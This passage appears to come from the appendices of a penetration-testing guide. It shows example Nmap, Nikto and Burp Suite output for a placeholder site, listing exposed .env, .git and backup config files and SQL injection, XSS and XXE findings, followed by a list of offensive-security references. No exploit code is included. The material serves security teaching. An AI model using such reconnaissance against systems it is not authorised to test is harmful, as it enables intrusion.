9090/tcp open http Prometheus
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 45.67 seconds
Appendix B: Combined Nikto Scan Output Example
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 93.184.216.34
+ Target Hostname: target.example.com
+ Target Port: 443
---------------------------------------------------------------------------
+ SSL Info: Subject: /CN=target.example.com
Altnames: target.example.com, www.target.example.com
Ciphers: TLS_AES_256_GCM_SHA384
Issuer: /C=US/O=Let's Encrypt/CN=R3
+ Start Time: 2026-04-09 14:30:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/7.4.3.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Cookie PHPSESSID created without the secure flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /: Uncommon header 'x-debug-token' found, with contents: abc123.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.58). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/7.4.3 appears to be outdated (current is at least PHP/8.3).
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-default-files/
+ /.env: .env file found. This file may contain sensitive configuration data such as database credentials and API keys.
+ /.git/HEAD: Git repository found. This may allow the attacker to download the full source code of the application.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /server-status: Apache mod_status is accessible without authentication.
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting.
+ /admin/: Admin login page/section found.
+ /robots.txt: 3 entries checked: '/admin/', '/backup/', '/config/' all returned accessible.
+ /wp-config.php.bak: WordPress configuration backup found. May contain database credentials.
+ /crossdomain.xml: Adobe Flash crossdomain.xml file found with wildcard access policy.
+ /test.php: Test script found which may contain sensitive information or functionality.
+ 8945 requests: 0 error(s) and 24 item(s) reported on remote host
+ End Time: 2026-04-09 14:35:12 (GMT-5) (312 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Appendix C: Burp Suite HTML Report Structure
BURP SUITE PROFESSIONAL - SCAN REPORT
Generated: 2026-04-09 14:45:00 CDT
Target: https://target.example.com
=======================================
SUMMARY
=======================================
High: 3 issues
Medium: 5 issues
Low: 8 issues
Info: 12 issues
=======================================
HIGH SEVERITY ISSUES
=======================================
1. SQL injection (3 instances)
- /api/products?id=1 [id parameter]
- /api/users?search=test [search parameter]
- /login [username parameter]
Confidence: Certain
Severity: High
2. Cross-site scripting (reflected) (2 instances)
- /search?q=test [q parameter]
- /error?message=test [message parameter]
Confidence: Certain
Severity: High
3. XML external entity injection (1 instance)
- /api/import [POST body]
Confidence: Certain
Severity: High
=======================================
MEDIUM SEVERITY ISSUES
=======================================
4. Cross-site request forgery (2 instances)
- /account/change-email [POST]
- /account/change-password [POST]
Confidence: Tentative
Severity: Medium
5. Open redirection (1 instance)
- /redirect?url=test [url parameter]
Confidence: Firm
Severity: Medium
6. TLS certificate (1 instance)
- Server supports TLS 1.0 (deprecated)
Confidence: Certain
Severity: Medium
=======================================
LOW SEVERITY ISSUES
=======================================
7. Cookie without HttpOnly flag (3 instances)
8. Cookie without Secure flag (3 instances)
9. Strict-Transport-Security header missing (1 instance)
10. Content-Security-Policy header missing (1 instance)
=======================================
INFORMATIONAL
=======================================
11. Server version disclosure: Apache/2.4.41 (Ubuntu)
12. Technology detected: PHP/7.4.3
13. Directory listing: /icons/, /backup/
14. robots.txt found with interesting entries
15. Email addresses found in response
Sources
- OWASP Web Security Testing Guide - SQL Injection
- OWASP Blind SQL Injection
- PortSwigger SQL Injection UNION Attacks
- PortSwigger SSRF
- PortSwigger SSTI
- PortSwigger XXE
- PortSwigger CSRF
- PortSwigger File Upload
- PortSwigger Open Redirect
- PortSwigger Information Disclosure
- PortSwigger OS Command Injection
- PayloadsAllTheThings - XSS
- PayloadsAllTheThings - SSRF
- PayloadsAllTheThings - SSTI
- PayloadsAllTheThings - XXE
- PayloadsAllTheThings - Command Injection
- PayloadsAllTheThings - File Inclusion
- PayloadsAllTheThings - File Upload
- PayloadsAllTheThings - Open Redirect
- PayloadsAllTheThings - CORS Misconfiguration
- HackTricks - Rate Limit Bypass
- HackTricks - Command Injection
- HackTricks - CSRF
- HackTricks - CORS Bypass
- HackTricks - File Upload
- HackTricks - IDOR
- HackTricks - Login Bypass
- OWASP Testing for Bypassing Authentication Schema
- OWASP CSRF Prevention Cheat Sheet
- OWASP XXE Processing
- OWASP Testing for Weak TLS/SSL
- OWASP SSTI Testing
- OWASP IDOR Testing
- Nmap ssl-enum-ciphers
- Nmap NSE Scripts
- sqlmap Official
- sqlmap Usage Wiki
- testssl.sh
- Invicti SQL Injection Cheat Sheet
- Cobalt Authentication Bypass
- HackerOne Disclosed Reports
- Burp Suite Reporting